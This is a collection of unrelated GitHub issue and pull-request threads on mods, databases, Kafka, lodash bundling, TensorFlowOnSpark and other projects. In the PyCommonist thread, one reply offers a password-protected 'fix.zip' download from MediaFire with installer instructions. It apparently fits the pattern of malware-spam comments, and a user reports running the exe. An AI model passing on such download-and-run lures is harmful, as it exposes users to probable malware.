Nether quartz Chicken isn't spawing

I got this mod and the only thing I am having problems with is that I can't find any of the chickens that can spawn in the nether in the nether. I looked through the internet and all I found was the orginial mod and tutorial, and tutorial of what to do, or even change the mod. But nothing has worked so can someone pls tell me how to fix this.
Also I am using the 19.2 version

Hey I have been look around in creative to find one and I can't find it, does it have to be on a certain difficulty and I am asking this so I can find it in my world.

Apologies, I missed the part where you said this is fort 1.19.2.
I am primarily working on version 1.20+
I do not know if we are still officially supporting the older versions.

Its fine but is there a command I can use to spawn it or will do I have to go on creative

Never mind I got the command

This is still an issue that needs to be resolved.

O ok


Add unit test to verify generated bundle against golden file

Add unit test to verify generated bundle against golden file
Following changes were done to make the bundle file reproducible in dry-run

Set predictable fake SHA for image and archives
Set release time to Unix epoch start time

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

/cc @g-gaston

/retest

/retest

/retest

/unhold

/lgtm


If a secondary goes down, nodes take a long time to refresh

We had a secondary go down, causing a heartbeat check failure in MongoDB and the following in the MongoDB logs:
Sun Sep 28 13:27:21.905 [rsHealthPoll] couldn't connect to c0.gravity.member4.mongolayer.com:27017: couldn't connect to server c0.gravity.member4.mongolayer.com:27017

This made our response time 5x slower, taking about 400ms to create a new Moped session. I didn't debug where exactly it was sitting, but I am going to imagine it's not too hard to replicate.
I would expect something a bit more efficient, IMO node rediscovery should not be blocking a request.

Hi @dblock could you check if the code on #352 fix this?
If not, let me know.

We'll try to upgrade production to moped HEAD this week.

FYI I believe this is the same bug I reported on Mongoid https://github.com/mongoid/mongoid/issues/3892


Release/v1.13.0

Pull request description
Checklist (choose whats happened)

[ ] breaking change! (describe)
[ ] tested locally
[ ] tested on cluster
[ ] added new dependencies
[ ] updated the docs
[ ] added a test

Breaking changes

Changes

Fixes

@vsukhin thanks for resolving conflicting changes!


With the new 0.8.8 update, nothing except snippets is working for me

🔍 Is there already an issue for your problem?

[X] I have checked older issues, open and closed

ℹ Environment / Computer Info
- Spotify version: <IP_ADDRESS>2.g7a9200fe
- Spicetify version: 2.22.1
- OS: MacOS Monterey 12.5

📝 Description
After upgrading to the new marketplace update, nothing except snippets work.  Extensions and themes show as downloaded, but don't actually alter the Spotify app even if I remove then reinstall them.  Snippets and custom CSS work as expected with no issues.  Downgrading to marketplace v0.8.7 fixes the issue.
The issue occurs both on the latest Spicetify version and the older version recommend for dated Spotify versions.  I understand that Spicetify (and presumably marketplace) aim to support the latest Spotify version and afaik don't go out of their way for old versions — if this issue is due to my older Spotify version just lmk and I can stay on 0.8.7 if there aren't plans to support it.
📸 Screenshots
https://github.com/spicetify/spicetify-marketplace/assets/62918850/dc6d0fb5-1991-433d-b18c-49a5389fdcac

Spotify 1.1.94 isn't supported with v2.22.1 as it's said on release page in compatibility section:

Everything under 1.2.0 is unsupported


Log even if the rtc is not available.

This needs to be merged after #327 and both need to be squash merged. I will approve after #327 is merged.

Conflicts fixed in #336


Fully supporting GitHub codespaces

What are codespaces?
In their latest Satellite, GitHub announced the launch of Codespaces, an online development environment running VSC, fully integrated with GitHub. As the time of writing this, the feature is in public beta. You can read more about it here.
What needs to be done?
I’ve tried this recently to review a PR, it was pretty great, although some manual setup was still required, like installing pipenv, syncing it and installing docker-compose (The docker engine was already included). Thankfully, GitHub is providing a .devcontainer config file, to automate all this process. The documentation is here.

The amount of people who use codespaces is low enough to where it's not necessary for us to implement explicit support.


Improve watchlist

User should be able to categorize it's watchlist in three section: finished, watching and aim to see. You could add these kind of buttons:

Hello, do you need to just add that 3 button or also make logic for them and some buttons like add to {name of list (aim to see)}?

We also need logic

okey nice :) can you please assign me to this ? I can do it

Yeah sure @JurajVetrak

thank you :)

#28


Decouple the storage configuration command from the job launch commands

Description
Hi,
I required yokai-php/batch-symfony-console to get the command to initialize my doctrine job execution storage.
There was a side effect: it activated the console job launcher provided by this bundle, and all my jobs became aynchronous which posed a problem for some of them. So, after my storage was setup, I had to remove the bundle from my dependencies.
This seems a bit tedious and a source of problems. Storage setup and job launchers are different concerns and should be bundled separatly.
Example
No response

Hi,
Thanks for reporting
Yes, the bundle is trying to figure out by himself what is the most appropriate job launcher:
https://github.com/yokai-php/batch-src/blob/f6f6826036fa6e2166bc67576e9037e38714d909/src/batch-symfony-framework/src/DependencyInjection/YokaiBatchExtension.php#L66-L73
I thought it was a good idea in the first place, but I understand now that it was a mistake
That is why I created issues to help the developer regaining control over the configured launchers:

https://github.com/yokai-php/batch-src/issues/92
https://github.com/yokai-php/batch-src/issues/101

The idea in the end is to have a configuration that will look like messenger transports
Something like:
yokai_batch:
  default_launcher: async
  launchers:
    simple: 'simple://simple'
    async: '%env(YOKAI_BATCH_ASYNC_LAUNCHER)%'

But for the moment, you can change change the alias of the job launcher in your config:
services:
  Yokai\Batch\Launcher\JobLauncherInterface<EMAIL_ADDRESS>

I like your DSN idea and your workaround solution suits me as it is. Anyway it's not a big deal. Thanks!


The =+ operator is not defined to concatenate a string and an xml.

How do we handle '<', '>' etc.,
xml e = xml <elem>abc</elem>;
e += "<";

Fixed with #14627.


KAFKA-6446: KafkaProducer should use timed version of await to avoid endless waiting

https://issues.apache.org/jira/browse/KAFKA-6446
Replaced await() with timed version to avoid endless waiting and refined the code to have Sender thread able to exit from infinitely connecting the bad broker.
More detailed description of your change,
if necessary. The PR title and PR message become
the squashed commit message, so use a separate
comment to ping reviewers.
Summary of testing strategy (including rationale)
for the feature or bug fix. Unit and/or integration
tests are expected for any behaviour change and
system tests should be considered for larger changes.
Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

@apurvam Please kindly review. Thanks.

@apurvam Thanks for the comments. Please review again.

@becketqin Please take some time to review this patch. Thanks.

@hachikuji Please review again. Thanks.

retest it please


[HW] AASHRITH SHANKAR J

Name: J.Aashrith Shankar
Email<EMAIL_ADDRESS>Linkedin Profile:
Attach the homework step I screenshots below:
1627055681503.pdf

Attach the homework step II screenshots below:
-- images removed by team --

Hey J.Aashrith Shankar, great job! Congrats! Here is your badge! https://api.badgr.io/public/assertions/4s39mGxHTGmWNOpPCl3aDA

Also, I removed your 2.pdf because it contained some images with your Astra token. Please delete your token via the Astra UI to ensure no security issues.

Can u evaluate my week 1 activity. I submitted 2 days back.
On Fri, 23 Jul, 2021, 9:59 pm Aleks Volochnev, @.***>
wrote:

Hey J.Aashrith Shankar, great job! Congrats! Here is your badge!
https://api.badgr.io/public/assertions/4s39mGxHTGmWNOpPCl3aDA
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/datastaxdevs/appdev-week2-tiktok/issues/241#issuecomment-885756921,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AU5VW2BVSFOUKYOQCWK2ST3TZGKH3ANCNFSM5A4I2VNQ
.


Add flake8 for achieveing pep8, the devops way

This PR adds support for flake8 tests for code quality on Dev Branch. Whenever someone pushes code to dev branch, this code will run and only lint the files which have been changed in that PR request against master branch.
So Instead of achieving pep8 in one go, we will only check PRs and little by little, we will achieve pep8 :)
Also this PR ignores the following checks using .flake8 file. Once all the pep8 issues are taken care, we can work on enable those checks.
E501: line too long (> 79 characters)
E127: Continuation line missing indentation or outdented
Scan complexity is set to 10 so it won't go deeper.

[x] Your code is pep8 compliant (Dojo's code isn't currently pep8 compliant, but we're trying to correct that)

[] If this is a new feature and not a bug fix, you've included the proper documentation under the /docs folder

Please merge #564 and then re-run this travis job.

@secfigo merged as instructed and reran.

@devGregA looks like i missed two entries :)


Push to interact broken

No matter what setting I choose on the push to interact menu it will always remain on and the only way I can cancel is by pressing the interact button again.

This was caused by an error with the menu always defaulting toggle values to on, this should have been fixed in the latest patch.


add metrics integration #3598

What is the purpose of the change
use https://github.com/dubbo/metrics to collect metrics info, remove the origin dubbo-metrics module
Brief changelog
XXXXX
Verifying this change
XXXXX
Follow this checklist to help us incorporate your contribution quickly and easily:

[x] Make sure there is a GITHUB_issue field for the change (usually before you start working on it). Trivial changes like typos do not require a GITHUB issue. Your pull request should address just this issue, without pulling in other changes - one PR resolves one issue.
[ ] Format the pull request title like [Dubbo-XXX] Fix UnknownException when host config not exist #XXX. Each commit in the pull request should have a meaningful subject line and body.
[ ] Write a pull request description that is detailed enough to understand what the pull request does, how, and why.
[ ] Write necessary unit-test to verify your logic correction, more mock a little better when cross module dependency exist. If the new feature or significant change is committed, please remember to add integration-test in test module.
[ ] Run mvn clean install -DskipTests=false & mvn clean test-compile failsafe:integration-test to make sure unit-test and integration-test pass.
[ ] If this contribution is large, please follow the Software Donation Guide.

#3598


error in using select all button

When I am using the button "select all images" I get the following.  (pycommonist-v1.0.zip)
c:\PortableApps\MyApps\PyCommonist>python main.py
PyCommonist.py-90 directory: D:/Bilder/2024/202408/20240828/work
2024:08:28 11:34:58
2024:08:28 11:13:53
Traceback (most recent call last):
File "c:\PortableApps\MyApps\PyCommonist\PyCommonist.py", line 209, in btn_select_all_images
element.cb_import.setCheckState(True)
TypeError: setCheckState(self, state: Qt.CheckState): argument 1 has unexpected type 'bool'

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Thanks for delivering the file so fast.
but I'm missing a read.me how to proceed.  When I unpack and call  the exe it simply starts and vanishes

Hi,
Follow this:
git clone https://github.com/benprieur/PyCommonist.git

cd PyCommonist
virtualenv venv
source venv/bin/activate
pip install -r requirements.txt
python3 main.py

Sorry for bothering again
I'm working on the windows 11 computer.   I'm using  Python 3.12.4 (tags/v3.12.4:8e8a4ba, Jun  6 2024, 19:30:16) [MSC v.1940 64 bit (AMD64)] on win32. This is freshly installed according to the defaults. I'm not used to python, I just want to upload pictures.
These two lines  are not working
virtualenv venv    command maybe wrong written or does not exist
after some research this line produces no error  python -m venv c:\PyCommonist
source venv/bin/activate   =>  the same: command maybe wrong written or does not exist
using .\Scripts\activate.bat  instead gives me an pyhton prompt (PyCommonist) c:\PyCommonist>
pip install -r requirements.txt
will lead to this:  (some lines are working )
.....
Collecting PyYAML==5.4.1 (from -r requirements.txt (line 5))
Using cached PyYAML-5.4.1.tar.gz (175 kB)
Installing build dependencies ... done
Getting requirements to build wheel ... error
error: subprocess-exited-with-error
× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> [54 lines of output]
running egg_info
writing lib3\PyYAML.egg-info\PKG-INFO
writing dependency_links to lib3\PyYAML.egg-info\dependency_links.txt
writing top-level names to lib3\PyYAML.egg-info\top_level.txt
Traceback (most recent call last):
File "C:\Users\PAD\AppData\Roaming\Python\Python312\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py", line 353, in
main()
Thanks for your help in advance

Hi,
I guess virtualenv is not installed (pip install virtualenv), perhaps we can discuss by private message? Please contact me :)

Hi,
i installed venv according to your instructions, it may be have been
missing  or there was an update It worked fine.
Running pip install -r requirements.txt  doesn't work a pip update was
recommended.
I did it,
But nothing changed
Here is the protocol:
Thanks for your help in advance
Sincerly
joergens.mi
c:\PyCommonist>virtualenv venv
Der Befehl "virtualenv" ist entweder falsch geschrieben oder
konnte nicht gefunden werden.
*c:\PyCommonist> python -m venv c:\PyCommonistc:\PyCommonist>
.\Scripts\activate.bat(PyCommonist) c:\PyCommonist>pip install -r
requirements.txtCollecting certifi==2020.12.5 (from -r requirements.txt
(line 1))  Using cached certifi-2020.12.5-py2.py3-none-any.whl.metadata
(3.0 kB)Collecting chardet==4.0.0 (from -r requirements.txt (line 2))
Using cached chardet-4.0.0-py2.py3-none-any.whl.metadata (3.5 kB)Collecting
ExifRead==2.3.2 (from -r requirements.txt (line 3))  Using cached
ExifRead-2.3.2-py3-none-any.whl.metadata (6.2 kB)Collecting idna==2.10
(from -r requirements.txt (line 4))  Using cached
idna-2.10-py2.py3-none-any.whl.metadata (9.1 kB)Collecting PyYAML==5.4.1
(from -r requirements.txt (line 5))  Using cached PyYAML-5.4.1.tar.gz (175
kB)  Installing build dependencies ... done  Getting requirements to build
wheel ... error  error: subprocess-exited-with-error  × Getting
requirements to build wheel did not run successfully.  │ exit code: 1  ╰─>
[54 lines of output]      running egg_info      writing
lib3\PyYAML.egg-info\PKG-INFO      writing dependency_links to
lib3\PyYAML.egg-info\dependency_links.txt      writing top-level names to
lib3\PyYAML.egg-info\top_level.txt      Traceback (most recent call last):
File
"c:\PortableApps\MyApps\PyCommonist\Lib\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py",
line 353, in           main()        File
"c:\PortableApps\MyApps\PyCommonist\Lib\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py",
line 335, in main          json_out['return_val'] =
hook(**hook_input['kwargs'])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^        File
"c:\PortableApps\MyApps\PyCommonist\Lib\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py",
line 118, in get_requires_for_build_wheel          return
hook(config_settings)                 ^^^^^^^^^^^^^^^^^^^^^        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools\build_meta.py",
line 332, in get_requires_for_build_wheel          return
self._get_build_requires(config_settings, requirements=[])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools\build_meta.py",
line 302, in get_build_requires          self.run_setup()        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools\build_meta.py",
line 318, in run_setup          exec(code, locals())        File
"", line 271, in         File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools_init.py",
line 117, in setup          return distutils.core.setup(**attrs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools_distutils\core.py",
line 184, in setup          return run_commands(dist)
^^^^^^^^^^^^^^^^^^        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools_distutils\core.py",
line 200, in run_commands          dist.run_commands()        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools_distutils\dist.py",
line 954, in run_commands          self.run_command(cmd)        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools\dist.py",
line 950, in run_command          super().run_command(command)        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools_distutils\dist.py",
line 973, in run_command          cmd_obj.run()        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools\command\egg_info.py",
line 311, in run          self.find_sources()        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools\command\egg_info.py",
line 319, in find_sources          mm.run()        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools\command\egg_info.py",
line 540, in run          self.add_defaults()        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools\command\egg_info.py",
line 578, in add_defaults          sdist.add_defaults(self)        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools\command\sdist.py",
line 108, in add_defaults          super().add_defaults()        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools_distutils\command\sdist.py",
line 250, in add_defaults          self._add_defaults_ext()        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools_distutils\command\sdist.py",
line 335, in _add_defaults_ext
self.filelist.extend(build_ext.get_source_files())
^^^^^^^^^^^^^^^^^^^^^^^^^^^^        File "", line 201, in
get_source_files        File
"D:\Temp\pip-build-env-hktmxkyd\overlay\Lib\site-packages\setuptools_distutils\cmd.py",
line 107, in getattr          raise AttributeError(attr)
AttributeError: cython_sources      [end of output]  note: This error
originates from a subprocess, and is likely not a problem with pip.error:
subprocess-exited-with-error× Getting requirements to build wheel did not
run successfully.│ exit code: 1╰─> See above for output.note: This error
originates from a subprocess, and is likely not a problem with pip.[notice]
A new release of pip is available: 24.0 -> 24.2[notice] To update, run:
c:\PortableApps\MyApps\PyCommonist\Scripts\python.exe -m pip install
--upgrade pip(PyCommonist)
c:\PyCommonist>c:\PortableApps\MyApps\PyCommonist\Scripts\python.exe -m pip
install --upgrade pipRequirement already satisfied: pip in
c:\portableapps\myapps\pycommonist\lib\site-packages (24.0)Collecting pip
Using cached pip-24.2-py3-none-any.whl.metadata (3.6 kB)Using cached
pip-24.2-py3-none-any.whl (1.8 MB)Installing collected packages: pip
Attempting uninstall: pip    Found existing installation: pip 24.0
Uninstalling pip-24.0:      Successfully uninstalled pip-24.0Successfully
installed pip-24.2(PyCommonist) c:\PyCommonist>pip install -r
requirements.txtCollecting certifi==2020.12.5 (from -r requirements.txt
(line 1))  Using cached certifi-2020.12.5-py2.py3-none-any.whl.metadata
(3.0 kB)Collecting chardet==4.0.0 (from -r requirements.txt (line 2))
Using cached chardet-4.0.0-py2.py3-none-any.whl.metadata (3.5 kB)Collecting
ExifRead==2.3.2 (from -r requirements.txt (line 3))  Using cached
ExifRead-2.3.2-py3-none-any.whl.metadata (6.2 kB)Collecting idna==2.10
(from -r requirements.txt (line 4))  Using cached
idna-2.10-py2.py3-none-any.whl.metadata (9.1 kB)Collecting PyYAML==5.4.1
(from -r requirements.txt (line 5))  Using cached PyYAML-5.4.1.tar.gz (175
kB)  Installing build dependencies ... done  Getting requirements to build
wheel ... error  error: subprocess-exited-with-error  × Getting
requirements to build wheel did not run successfully.  │ exit code: 1  ╰─>
[54 lines of output]      running egg_info      writing
lib3\PyYAML.egg-info\PKG-INFO      writing dependency_links to
lib3\PyYAML.egg-info\dependency_links.txt      writing top-level names to
lib3\PyYAML.egg-info\top_level.txt      Traceback (most recent call last):
File
"c:\PortableApps\MyApps\PyCommonist\Lib\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py",
line 353, in           main()        File
"c:\PortableApps\MyApps\PyCommonist\Lib\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py",
line 335, in main          json_out['return_val'] =
hook(**hook_input['kwargs'])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^        File
"c:\PortableApps\MyApps\PyCommonist\Lib\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py",
line 118, in get_requires_for_build_wheel          return
hook(config_settings)                 ^^^^^^^^^^^^^^^^^^^^^        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools\build_meta.py",
line 332, in get_requires_for_build_wheel          return
self._get_build_requires(config_settings, requirements=[])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools\build_meta.py",
line 302, in get_build_requires          self.run_setup()        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools\build_meta.py",
line 318, in run_setup          exec(code, locals())        File
"", line 271, in         File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools_init.py",
line 117, in setup          return distutils.core.setup(*attrs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools_distutils\core.py",
line 184, in setup          return run_commands(dist)
^^^^^^^^^^^^^^^^^^        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools_distutils\core.py",
line 200, in run_commands          dist.run_commands()        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools_distutils\dist.py",
line 954, in run_commands          self.run_command(cmd)        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools\dist.py",
line 950, in run_command          super().run_command(command)        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools_distutils\dist.py",
line 973, in run_command          cmd_obj.run()        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools\command\egg_info.py",
line 311, in run          self.find_sources()        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools\command\egg_info.py",
line 319, in find_sources          mm.run()        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools\command\egg_info.py",
line 540, in run          self.add_defaults()        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools\command\egg_info.py",
line 578, in add_defaults          sdist.add_defaults(self)        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools\command\sdist.py",
line 108, in add_defaults          super().add_defaults()        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools_distutils\command\sdist.py",
line 250, in add_defaults          self._add_defaults_ext()        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools_distutils\command\sdist.py",
line 335, in _add_defaults_ext
self.filelist.extend(build_ext.get_source_files())
^^^^^^^^^^^^^^^^^^^^^^^^^^^^        File "", line 201, in
get_source_files        File
"D:\Temp\pip-build-env-3ys5r45v\overlay\Lib\site-packages\setuptools_distutils\cmd.py",
line 107, in getattr          raise AttributeError(attr)
AttributeError: cython_sources      [end of output]  note: This error
originates from a subprocess, and is likely not a problem with pip.error:
subprocess-exited-with-error× Getting requirements to build wheel did not
run successfully.│ exit code: 1╰
note: This error originates from a subprocess, and is likely not a problem
with pip.
─> See above for output.
Am Mi., 4. Sept. 2024 um 21:55 Uhr schrieb Benoît Prieur <
@.***>:

Hi,
I guess virtualenv is not installed (pip install virtualenv), perhaps we
can discuss by private message? Please contact me :)
—
Reply to this email directly, view it on GitHub
https://github.com/benprieur/PyCommonist/issues/11#issuecomment-2329859537,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AL5S3KGZDYNS5VNPDFYTUR3ZU5QU7AVCNFSM6AAAAABNH7VDJ6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMRZHA2TSNJTG4
.
You are receiving this because you authored the thread.Message ID:
@.***>


sometimes worker got stuck

hi @leewyang
I have run job success for many times using the same script and changing the train data path a bit.
however, sometime I found one worker got stuck, and the job got stuck.
here is the detail
num_ps=50
worker_num=100
and the first worker as the master.
after one hour, all the worker fininsh its part and output the log like:

2018-07-06 15:17:14,342 INFO (MainThread-31553) loss = 372.7995, step = 492791 (41.036 sec)
2018-07-06 15:17:56,542 INFO (MainThread-31553) loss = 386.6126, step = 494075 (42.200 sec)
2018-07-06 15:18:00,507 INFO (MainThread-31553) Loss for final step: 297.67026.
2018-07-06 15:18:00,748 INFO (MainThread-31553) Finished TensorFlow worker:45 on cluster node 96
18/07/06 15:18:00 INFO python.PythonRunner: Times: total = 3059467, boot = 445, init = 655, finish = 3058367
18/07/06 15:18:00 INFO executor.Executor: Finished task 96.0 in stage 0.0 (TID 96). 1268 bytes result sent to driver

it indicates that the worker fininsh its part training at about 15:18
check the spark UI, it tells  Active tasks: 51， this means 50 ps + 1 left worker.
then check the left execturo, found it got stuck , the last output is

2018-07-06 14:52:54,318 INFO (MainThread-21613) loss = 382.266, step = 311716 (44.589 sec)
2018-07-06 14:53:37,963 INFO (MainThread-21613) loss = 414.35132, step = 320719 (43.645 sec)

it shows this worker got stuck at 14:53.
each worker has the average training dataset. and expected fininshed at the same time or so.
then I login this worker node and found the  container still alive. lsof this port shows it still exists.
have you ever seems this, thx

Hi @crafet

Are you using InputMode.TENSORFLOW or InputMode.SPARK?
Are you using GPUs or CPUs?
What versions of Spark, TF, and Python are you using?
Are there any other errors on the stuck worker prior to the hang?

hi @leewyang , thanks fore reply.

using  InputMode.TENSORFLOW and read the data using tf.dataset
using CPUs only since the spark cluster has no GPUs.
spark 2.3.0 cloudera2/tf 1.8/tfos 1.3，tf and tfos are all the lastest version. using python 2.7.6
no more errors found in the stuck worker.

the stuck job run 3days, and I have to kill it and pull the whole log here for reference.
err.log.zip
check the log at line 23817, that is the last output of the stuck worker
and the other successful workesr will output as this:

Finished TensorFlow worker: worker_num on cluster node executor_id

there are some LeaseExpiredException found in the log, but the exception occurs at the time of job starting. the worker got stuck at the different time. maybe this is not the root cause, since only one worker is affected now.
appreciated your suggestions

@crafet I didn't see anything obvious in your logs.  The LeaseExpiredExceptions all look like they're related to the tensorboard event logs.  You might be able to eliminate those, if you only write summaries from a single worker (e.g. chief/worker:0).
As for the hang, not really sure what's going on, so a couple more questions:

Does it always hang on the same physical host?
Does it always hang on the same data part files?
Does it always hang after the same amount of time/steps?

Also, it seems that you've got 10GB available for RDD storage (per logs).  You can try tuning the storageFraction down, and allocating more memory to the overhead.
And finally, if possible, try reducing the dataset/epochs/steps/workers, s.t. you can get a reproducible case that's easier to reproduce/isolate...

@leewyang
thanks for reply.
yes, I reproduced more than once in my spark cluster.  the stuck occurs at random part、random step and random executor node.
I think you've give a solution, after try setting more for memoryOverHead, it works now.
however, two things puzzled me.

since the tf process is launched by each executor, where the overhead memory is used in tf process, could you explain the detail for this, why  need more overhead. thanks.

and fwiw, is it possible for tfos to catch the stuck, and supply some optional suggestion for the user? e.g tell the user the job is stuck etc.

many thanks.

@crafet Spark is primarily a JVM based system, where the --executor-memory setting roughly equates to the JVM heap size.  Note however that pyspark spawns python processes outside of the JVM to execute tasks, and the TF node is running in one of those python processes.  So, the heap + overhead == YARN container memory allocation.
As for catching the hang, it's often difficult because: A) this is happening in the spawned python process, which may not be able to signal back to spark, and B) TF can sometimes hang in random places (in my experience) without any exceptions/signaling.


Is "_" needed from lodash?

I could be getting this wrong but requiring _ from lodash brings in the whole library which is pretty huge. Would it be possible to just import the utilities you need? When I analyse my webpack build lodash is responsible for 688kb (uncompressed) which becomes the largest dependency I have. Thoughts?

When you don't need the entire lodash library on your application, you can use the shrinkwrap cloudinary-core version instead. For more information see: https://github.com/cloudinary/pkg-cloudinary-core#installation or the upload inclusive version: https://github.com/cloudinary/pkg-cloudinary-jquery-file-upload

@nadavofi - Thanks for the info.

you can use the shrinkwrap cloudinary-core version instead
IS that available as an NPM package? So far I can only find the cloudinary-core package which pull in the entire lodash package.
The link you point at describes the shrinkwrap with bower - using webpack or browserify we rely on NPM packages to deliver dependencies..

Thanks!

Ok, I see the shrinkwrap is included with the cloudinary-core package.
Importing it with something like
'require('cloudinary-core/cloudinary-core-shrinkwrap.js');'
Seems to work - was that your intention? I think this could be better documented if so..

Thanks for your feedback, Yoad.
We are about to release a new documentation for Javascript very soon.

Hi there,
I think the solution suggested above is sub-optimal.. even though using shrinkwrap does avoid including all of lodash, it also mean that cloudinary-core will hold it's own version of lodash.. and if the application is also using lodash, it will hold some duplications.. it also makes using cloudinary-react a bit more cumbersome, since that package use the non--shrinkwrap version of cloudinary-core..

Hi @ignatiusreza. Note that if the application is using lodash elsewhere, then you can use core and no duplication occurs.
In addition, the shrinkwrap includes a subset of the lodash library - not the whole thing.
To use the shrinkwrap version instead of core + lodash, add the following to your webpack configuration:
  resolve: {
    alias: {
      "cloudinary-core": "cloudinary-core/cloudinary-core-shrinkwrap"
    }
  }

It will make the application use the shrinkwrap version and the generic lodash library will not be loaded.

Hi @roeeba, I'm aware of those, but it still doesn't change the fact that since cloudinary-core import "lodash", the full lodash is imported even though both cloudinary, and the application might only use a subset of it.. to better visualize the issue, I've made a small repro project https://github.com/ignatiusreza/cloudinary-114 ..
In it, you'll see 4 commits, please compare how dist/report.html (generated via webpack-bundle-analyzer) changed with each commits:

initialize the project, and add a simple application where lodash is imported via import _ from "lodash".. notice that the full lodash library is included in the output bundle..

optimize by changing the import to be selective via import isEmpty from "lodash/isEmpty".. and bundle analyzer reflect these by showing that now, only a small subset of lodash is included in the output bundle..

add import cloudinary from "cloudinary-core" .. and then on top of the selective import added by step 2, the full lodash library is now back into the bundle.. which actually does include duplicates..

add the resolve.alias config, which does help reduce the bundle size, but now cloudinary-core-shrinkwrap include its own copy of lodash separate from the rest of the application..

Hi @ignatiusreza. In your example, the duplication results in about 1800 extra bytes. Indeed, if the app uses a subset of lodash itself there will be some duplication.
To optimize the application in your case, you should build a subset of lodash based on a merged requirements between cloudinary_js and your app (see grunt lodash task) and use cloudinary-core with the special lodash build.

@roeeba I wish there was a nice way to expose Cloudinary's part of the "merged requirements". So when the package is updated, and those dependencies change, we will not have to worry about missing anything. We can let the build tool take care of that.
I use webpack but this should apply to any modern bundler.

The sample application was deliberately small, but, in a real application, the amount of duplication are non-trivial..
and even though it is possible to build custom script to further optimize cloudinary bundle on the client application, it seems like it would be best if cloudinary could fix the root cause by doing selective import, e.g. import isEmpty from "lodash/isEmpty vs import _ from "lodash".. I can try to come up with a PR if you're open to the idea..

The library was designed to be published as a single file - mainly for backwards compatibility.
Using "import ... from" is tricky because of the use of Coffee and the way our build is currently configured.
However you can get the list of functions the library is using with this command:
grep --only-matching -P '(_\.\w+)' 'src/util/lodash.coffee' | sort | uniq

This is how we build the shrikwrap version (as @roeeba mentioned earlier). Crude but effective...
You can create a customised "ES6 module" build by replacing the UMD header in https://github.com/cloudinary/cloudinary_js/blob/118f5aa1f0bd912d770cd3bbf4740e8816b90baa/Gruntfile.coffee#L224-L242 with a list of imports based on https://github.com/cloudinary/cloudinary_js/blob/118f5aa1f0bd912d770cd3bbf4740e8816b90baa/Gruntfile.coffee#L326
Regardless, @ignatiusreza, PRs are always welcome! 😄

FYI, we are planning to replace the lodash/jquery utils module with bespoke implementation which would resolve the dependency issue. In addition, we'll replace CoffeeScript with JS and Grunt with webpack at some point.

That's great news! I can only imagine the amount of work require to fully migrate from CoffeeScript/Grunt to JS/webpack :sweat_smile:
